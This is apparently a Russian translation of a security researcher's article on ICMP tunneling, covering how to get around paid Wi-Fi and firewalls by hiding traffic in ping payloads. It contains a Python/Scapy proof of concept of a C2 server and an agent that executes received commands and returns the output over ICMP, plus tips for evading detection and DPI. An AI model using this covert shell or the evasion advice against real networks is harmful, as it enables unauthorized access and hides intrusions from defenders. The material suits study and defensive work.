Обход платного Wi-Fi с помощью ping и другие возможности ICMP-туннелирования

Обложка поста

Рассказывает Нир Чако, исследователь в области информационной безопасности


На пути исследователя информационной безопасности часто встречаются различные сложности. В их число входят ограничения доступа к сети и необходимость оставаться незамеченным. Один из способов преодоления этих сложностей — использование ICMP-туннеля при попытке установить скрытое соединение.

В компьютерных сетях под туннелированием обычно понимается инкапсуляция одного сетевого протокола в качестве полезной нагрузки другого. Здесь можно узнать об этом больше.

ICMP (Internet Control Message Protocol) является вспомогательным протоколом стека TCP/IP и используется сетевыми устройствами для отправки сообщений об ошибках и информации о работе. Самое известное и, наверное, часто используемое ICMP-сообщение — это ping.

Смотрите также: Подборка книг по компьютерным сетям

Ping отправляется от одного узла в сети к другому. Он состоит из заголовков 2 и 3 уровней (MAC и IP-заголовки, определённые OSI-моделью) и специального ICMP-пакета. Отправляющий узел устанавливает параметры адресата, и если сообщение дойдёт до него, то он отправит его обратно:

Так выглядит IP-датаграмма ping-пакета:

ICMP-туннелирование можно выполнить, поместив в данные полезной нагрузки только то, что мы хотим отправить.

Обычно полезная нагрузка по умолчанию содержит что-нибудь вроде этой ASCII-строки  — «abcdefghijklmnopqrstuvwabcdefghi»:

Wireshark — ICMP-пакет, полезная нагрузка

Инкапсуляция HTTP-пакета в полезную нагрузку часто используется для обхода платного Wi-Fi.

Это возможно с помощью прокси-сервера, который ждёт ping-сообщения и отсылает их по мере необходимости (например, в форме HTTP):

    1. С помощью нужных инструментов (вроде ptunnel) инкапсулируем HTTP-пакет, который хотим отправить в Google в составе ping-пакета (внутри полезной нагрузки). Затем отправляем его по IP прокси-сервера.
      Примечание Этот IP не является адресом получателя HTTP-пакета; адресом получателя будет www.google.com.
    2. Так как роутеры в аэропорту обычно позволяют отправлять ICMP-трафик за пределы сети, роутер доставит ping-сообщение на прокси-сервер.
    3. Прокси-сервер получает ping-пакет и разбивает его на две части:
      • заголовки ICMP;
      • полезную нагрузку с исходным HTTP-сообщением.

      Примечание IP-адрес отправителя HTTP-пакета, который прокси отправляет Google, должен быть IP-адресом самого прокси-сервера, а не вашего ноутбука или роутера аэропорта, поскольку Google должен ответить именно прокси, а не вам.

Это, возможно, самое частое применение ICMP-туннеля, но мне, как пентестеру, больше интересно его использование для обхода брандмауэров и прочих сетевых политик.

Всё это возможно благодаря тому, что ping-сообщения могут свободно выходить из локальной сети Wi-Fi в Интернет.

Почему кто-то может допустить такую ситуацию? Как бывший сетевой инженер, могу сказать, что ping помогает в понимании и решении даже самых сложных проблем.

Устранение многих проблем начинается с проверки того, проходит ли информация из одной точки в другую. Задаются вопросы вроде «доступен ли вообще этот информационный маршрут?» и «активны ли сетевые компоненты и способны ли они отвечать?». Ping-сообщения могут легко ответить на эти и многие другие вопросы.

Подобный анализ носит регулярный характер. Это означает, что конфигурация сети должна допускать передачу ping-сообщений в сети от одного узла к другому. Все политики брандмауэров, роутеров, а также список управления доступом коммутаторов должны разрешать поток ICMP-сообщений от практически любого сетевого компонента к другому. Вот почему сетевая сегментация и политики скорее всего не повлияют на ping-сообщения.

Принимая это во внимание, мне кажется, что хорошей идеей будет создать сетевое соединение с помощью агентов, подключающихся к управляющему серверу, используя ICMP-туннелирование, если вам нужно преодолеть такие препятствия, как сегментация и сетевые политики.

Я написал простой POC (Proof Of Concept) на Python, чтобы показать, как это работает.

Учтите, что:

  • Для работы POC требуется Scapy;
  • В данном POC не рассматривается обработка фрагментации. Фрагментация может произойти, например, если ответ от агента будет больше, чем позволяет размер полезной нагрузки.

POC включает в себя управляющий сервер и агент. Сервер будет посылать агенту команды через ICMP-туннель, а агент через него будет возвращать результат:

C2.py

#!/usr/bin/env python3
from scapy.all import *
def main():
    while True:
        command = input('# Enter command: ')
        # создаём ICMP-пакет с командой в качестве полезной нагрузки
        pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command
        send(pinger)
        # ждём ICMP-сообщение с ответом от агента
        rx = sniff(count=1, timeout=2)
        # если агент не на локальной машине, используйте это: rx = sniff(filter="icmp", count=1)
        print(rx[0][Raw].load.decode('utf-8'))
if __name__ == "__main__":
    main()

Agent.py

#!/usr/bin/env python3
import os
from scapy.all import *
def main():
    while True:
        # ждём от C2-сервера ICMP-сообщение с командой
        rx = sniff(filter="icmp", count=1)
        # извлекаем из пакета полезную нагрузку
        var = rx[0][Raw].load.decode('utf-8')
        # запускаем команду и сохраняем результат
        res = os.popen(var).read()
        # создаём ICMP-пакет с результатом в качестве полезной нагрузки
        send(IP(dst="localhost")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)
if __name__ == "__main__":
    main()

Использование выглядит как-то так:

И никогда не будет лишним посмотреть, что на самом деле происходит, с помощью Wireshark:

C2 — команда pwd

Агент — результат выполнения pwd

Как вы видите, в итоге мы имеем 2 ICMP-сообщения: одно с командой и другое с результатом.

Смотрим на ситуацию с точки зрения защиты

При написании подобных инструментов важно посмотреть на всё с точки зрения защиты и подумать, что нужно принять во внимание.

Наиболее важно помнить, что инструменты кибербезопасности не ограничиваются политиками белого списка брандмауэра. Большинство современных инструментов для защиты включают в себя различную функциональность по обнаружению аномалий. Но прежде чем заводить речь об аномалиях, нужно узнать больше о нормальном поведении субъекта.

Если говорить о ping-сообщениях в обычной сети, то их свойства примерно такие:

  1. Большинство ping-сообщений отсылаются одинаковым образом — по 4 сообщения за раз.
  2. Ping-сообщение имеет тип 8 (echo ping request), ping-ответ — тип 0 (echo ping reply).
  3. С каждым ping-пакетом отсылаются несколько полей (при использовании Windows 8.1):
    • id = 0x0001;
    • seq ответа будет равно seq запроса;
    • У полезной нагрузки останется размер (32 байта) и содержимое («abcdefghijklmnopqrstuvwabcdefghi») по умолчанию.

Учитывая всё вышеперечисленное, вам следует:

  1. Написать управляющий сервер и агент таким образом, чтобы каждую минуту (например) отправлялось не больше 4 ping-сообщений. Если на отправку ваших данных требуется 15 сообщений, то весь процесс займёт 4 минуты. Да, возможно это медленно, но стоит того, чтобы остаться незамеченным.
  2. Убедиться, что ping-запрос и ответ логически правильны. Если все сообщения, которые вы отправляете, будут типа 0, то будет странно увидеть много ответов, когда нет никаких запросов.
  3. Обратить внимание, что размер полезной нагрузки повлияет на первый пункт (количество ping-сообщений на размер данных) и что это метаданные.
  4. Подумать о содержимом полезной нагрузки  в контексте возможного наличия DPI.

DPI — глубокий анализ пакетов ( Deep Packet Inspection)

Во время обычного анализа пакетов считываются метаданные пакета (в основном заголовки). DPI же просматривает содержимое пакета. По сути, DPI анализирует полезную нагрузку и пытается понять, всё ли с ней нормально.

В нашем случае DPI с помощью отслеживания аномалий может обнаружить ICMP-туннель, просмотрев полезную нагрузку и увидев, что она отличается от ожидаемой. Таким образом, мы не сможем скрыть все параметры.

Так а зачем тогда вообще возиться с ICMP-туннелированием?

Потому что:

  1. DPI встречается далеко не везде.
  2. Большинство DPI-инструментов полагаются на базу с сигнатурами — если для ICMP-сообщений сигнатур нет, то и туннель обнаружить не получится.
  3. Даже если в базе найдётся подходящая сигнатура, оператор сначала должен настроить её на работу в активном режиме.

Почему он может её не активировать?

  • На проверку каждой сигнатуры требуются ресурсы (преимущественно процессор и время), что может замедлить сеть.
  • Проверка сети может проводиться с помощью разных ping-сообщений с разным размером полезной нагрузки (например, ping -s 1234 8.8.8.8 отправит ping-сообщение с полезной нагрузкой в размере 1234 байт) для диагностики проблем, связанных с MTU. Активация подобной сигнатуры приведёт к множеству ложных срабатываний, что будет раздражать команду мониторинга и, как следствие, снизит надёжность сигнатуры.

Заключение

ICMP-туннелирование — отличный способ для незаметной отправки/получения данных. Хотя порой оно будет не так эффективно из-за различных защитных мер, зачастую вы обнаружите, что это простой и удобный способ обойти некоторые ограничения.

Если вы поняли суть ICMP-туннелирования, то вы сможете создать множество других решений вроде DNS-туннелирования, SSH-туннелирования и так далее.

Перевод статьи «Ping Power — ICMP Tunnel»

Как Яндекс использует ваши данные и машинное обучение для персонализации сервисов — читать и смотреть YaC 2019.